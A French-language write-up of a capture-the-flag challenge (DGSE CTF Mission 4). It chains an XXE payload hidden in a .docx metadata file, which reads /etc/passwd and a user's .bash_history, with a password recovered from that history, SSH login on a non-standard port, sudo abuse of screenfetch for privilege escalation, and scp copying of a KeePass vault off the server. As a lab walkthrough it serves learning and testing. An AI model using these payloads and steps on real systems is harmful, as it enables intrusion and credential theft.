Post

DGSE CTF - Mission 4 (Pentest)

DGSE CTF - Mission 4 (Pentest)

🔍 Reconnaissance

Le site nous prĂ©sente deux fonctionnalitĂ©s : Desktop View Application “Document Tracker” des attaquants

Testons la premiĂšre fonctionalitĂ© “Track a Word document” pour voir ce que cela fait. J’upload un fichier word que je viens de crĂ©er, et en cliquant sur “UPLAOD AND MODIFY” j’obtiens un nouveau fichier apparement “signĂ©â€ et de nom

1
984888b0-21cc-4a82-b921-3f5d4639440a_signed.docx

Et voici ce qu’il se passe quand on upload ce fichier dans la seconde fonctionnalitĂ© : Desktop View FonctionnalitĂ© “Identify a victim from a document”

Donc “Track a Word document” doit modifier le document de telle sorte à ce que “Identify a victim from a document” puisse aller chercher cette information :

1
victim-5bed1359-c105-4a0a-8205-d98ee22fbb87

On voit bien avec exiftool que le Victim ID à été rajouté dans le métadonnées : Desktop View analyse des métadonnées avec exiftool

🧭 Approche

Nous savons qu’un fichier .docx n’est ni plus ni moins qu’une archive zip contenant des fichiers XML et que la fonctionnalitĂ© “Identify a victim from a document” va chercher dans notre .docx le tag Victim ID. J’ai tout de suite pensĂ© Ă  une attaque XXE.

D’aprùs Portswigger :

Desktop View source : portswigger

et voici comment un fichier XML malveillant peut ĂȘtre modifiĂ© pour fuiter le contenu de /etc/passwd :

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

This XXE payload defines an external entity &xxe; whose value is the contents of the /etc/passwd file and uses the entity within the productId value. This causes the application’s response to include the contents of the file:

1
2
3
4
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

💣 Exploitation

On commence par renommer et décompresser notre fichier signé dans un dossier test :

1
2
3
4
5
6
7
8
9
10
11
12
13
$ mv 984888b0-21cc-4a82-b921-3f5d4639440a_signed.docx signed.docx
$ unzip signed.docx -d test      
Archive:  signed.docx
  inflating: test/_rels/.rels        
  inflating: test/docProps/core.xml  
  inflating: test/docProps/app.xml   
  inflating: test/word/_rels/document.xml.rels  
  inflating: test/word/document.xml  
  inflating: test/word/styles.xml    
  inflating: test/word/fontTable.xml  
  inflating: test/word/settings.xml  
  inflating: test/word/theme/theme1.xml  
  inflating: test/[Content_Types].xml

Ensuite on modifie /test/docProps/app.xml avec ce contenu :

1
2
3
4
5
6
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties">
  <VictimID>&xxe;</VictimID>
</Properties>

Enfin, on se place dans le dossier /test et on recompresse notre archive dans un fichier payload.docx :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ zip -r ../payload.docx *                                 
updating: [Content_Types].xml (deflated 76%)
updating: docProps/ (stored 0%)
updating: docProps/core.xml (deflated 48%)
updating: docProps/app.xml (deflated 44%)
updating: _rels/ (stored 0%)
updating: _rels/.rels (deflated 62%)
updating: word/ (stored 0%)
updating: word/settings.xml (deflated 54%)
updating: word/document.xml (deflated 19%)
updating: word/theme/ (stored 0%)
updating: word/theme/theme1.xml (deflated 76%)
updating: word/fontTable.xml (deflated 67%)
updating: word/styles.xml (deflated 73%)
updating: word/_rels/ (stored 0%)
updating: word/_rels/document.xml.rels (deflated 68%)
updating: docProps/custom.xml (deflated 36%)

On upload payload.docx et 
 TADAAAM ! Desktop View Injection XXE mùne à la fuite de /etc/passwd

Nous avons bien réussi à fuiter le contenu de /etc/passwd dans lequel nous pouvons distinguer trois utilisateurs potentiellement intéressants :

document-user → /home/document-user avec /bin/sh

executor → /home/executor avec /bin/bash

administrator → /home/administrator avec /bin/bash

En rĂ©pĂ©tant l’opĂ©ration avec :

1
2
3
4
5
6
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///home/document-user/.bash_history">
]>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties">
  <VictimID>&xxe;</VictimID>
</Properties>

On parvient à obtenir l’histrorique des commandes de document-user : Desktop View Injection XXE mùne à la fuite de /home/document-user/.bash-history

dans lequel on apprends que document-user à renseigné une clé SSH dans un fichier temporaire :

1
echo "cABdTXRyUj5qgAEl0Zc0a" >> /tmp/exec_ssh_password.tmp

Naturellement, j’ai donc essayĂ© de me connecter au serveur en tant que document-user :

1
2
$ ssh document-user@163.172.67.183            
ssh: connect to host 163.172.67.183 port 22: Connection refused

Mais la connexion SSH sur le port standard ne semble malheuresement pas disponible. J’ai donc essayĂ© manuellement d’autres ports (on aurait pu aussi lancer un scan nmap):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ssh document-user@163.172.67.183 -p 222            
ssh: connect to host 163.172.67.183 port 222: Connection refused

$ ssh document-user@163.172.67.183 -p 2222            
ssh: connect to host 163.172.67.183 port 2222: Connection refused

$ ssh document-user@163.172.67.183 -p 22222 
The authenticity of host '[163.172.67.183]:22222 ([163.172.67.183]:22222)' can't be established.
ED25519 key fingerprint is SHA256:FUMdLgfIiHMTJVa2uDJhwomIuO6aJy6B3ioUIfXkD1I.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[163.172.67.183]:22222' (ED25519) to the list of known hosts.
document-user@163.172.67.183's password: 
Permission denied, please try again.           

La clĂ© ssh qu’on a trouvĂ© prĂ©cĂ©demment ne semble pas ĂȘtre liĂ©e Ă  document-user, essayons avec executor :

Desktop View Connexion SSH sur le serveur en tant que executor

BINGO ! On obtient un premier pied sur le serveur avec un beau logo ASCII en bienvenue. On fouille dans le dossier de administrator et on remarque un fichier vault.kdbx qui est en fait un coffre KeyPass ! Desktop View Fichiers du dossier courant de adminsitrator

Malheursement, nous n’avons pas les droits requis pour accĂ©der Ă  ce fichier, nous allons donc devoir Ă©lever nos privilĂšges.

🔓 Elevation de privilùges

Avec un simple

1
$ sudo -l

Nous dĂ©couvrons que l’utilisateur executor peut exĂ©cuter la commande screenfetch (le programme permettant d’afficher le logo d’une distribution en ASCII) en tant que administrator sans mot de passe (NOPASSWD)

Desktop View Programme screenfetch pouvant ĂȘtre lancĂ© en tant qu’administrator

Quand on regarde les options que screenfetch peut prendre, on voit que l’option -a peut ĂȘtre trĂšs intĂ©ressante :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
executor@document-station:~$ screenfetch --help
Usage:
  /usr/bin/screenfetch [OPTIONAL FLAGS]

screenFetch - a CLI Bash script to show system/theme info in screenshots.
...
Options:
   -v                 Verbose output.
   -o 'OPTIONS'       Allows for setting script variables on the
                      command line. Must be in the following format...
                      'OPTION1="OPTIONARG1";OPTION2="OPTIONARG2"'
...
   -a 'PATH'          You can specify a custom ASCII art by passing the path
                      to a Bash script, defining `startline` and `fulloutput`
                      variables, and optionally `labelcolor` and `textcolor`.
                      See the `asciiText` function in the source code for more
                      information on the variables format.
...

L’idĂ©e serait de lancer screenfetch en tant que administrator avec l’option -a et un script bash qui ouvrirait un shell. On a apparament les droits d’écriture dans /dev/shm :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
executor@document-station:~$ ls -la /dev/    
total 4
drwxr-xr-x  5 root root  340 Apr 29 08:47 .
drwxr-xr-x  1 root root 4096 Apr 29 08:47 ..
lrwxrwxrwx  1 root root   11 Apr 29 08:47 core -> /proc/kcore
lrwxrwxrwx  1 root root   13 Apr 29 08:47 fd -> /proc/self/fd
crw-rw-rw-  1 root root 1, 7 Apr 29 08:47 full
drwxrwxrwt  2 root root  120 May  2 11:43 mqueue
crw-rw-rw-  1 root root 1, 3 Apr 29 08:47 null
lrwxrwxrwx  1 root root    8 Apr 29 08:47 ptmx -> pts/ptmx
drwxr-xr-x  2 root root    0 Apr 29 08:47 pts
crw-rw-rw-  1 root root 1, 8 Apr 29 08:47 random
drwxrwx-wt 23 root root 2120 May  5 17:35 shm
lrwxrwxrwx  1 root root   15 Apr 29 08:47 stderr -> /proc/self/fd/2
lrwxrwxrwx  1 root root   15 Apr 29 08:47 stdin -> /proc/self/fd/0
lrwxrwxrwx  1 root root   15 Apr 29 08:47 stdout -> /proc/self/fd/1
crw-rw-rw-  1 root root 5, 0 May  5 17:41 tty
crw-rw-rw-  1 root root 1, 9 Apr 29 08:47 urandom
crw-rw-rw-  1 root root 1, 5 Apr 29 08:47 zero

Desktop View Elevation de privilĂšges

Bingo ! On a bien réussi à éléver nos privilÚges et nous avons maintenant un shell en tant que administrator !

đŸ“€ Extraction

Maintenant il reste à récupérer les fichiers qui nous intéressent dans /home/administrator en les transferant avec SSH sur notre machine :

1
$ scp -P <PORT> vault.kdbx logo.jpg <USER>@<HOST>:/home/kali/

On ouvre le coffre en reseignant le fichier logo.jpg comme fichier clé :

Desktop View Ouverture du coffre

Et on rĂ©cupĂšre le flag dans l’entrĂ©e OPERATIONS NOTES !!

Desktop View Flag

🎁 Bonus

Dans le coffre KeyPass, on voit Ă©galement une entrĂ©e ssh. Peut-ĂȘtre que cette info sera prĂ©cieuse par la suite


Desktop View (Mission 06)👀

This post is licensed under CC BY 4.0 by the author.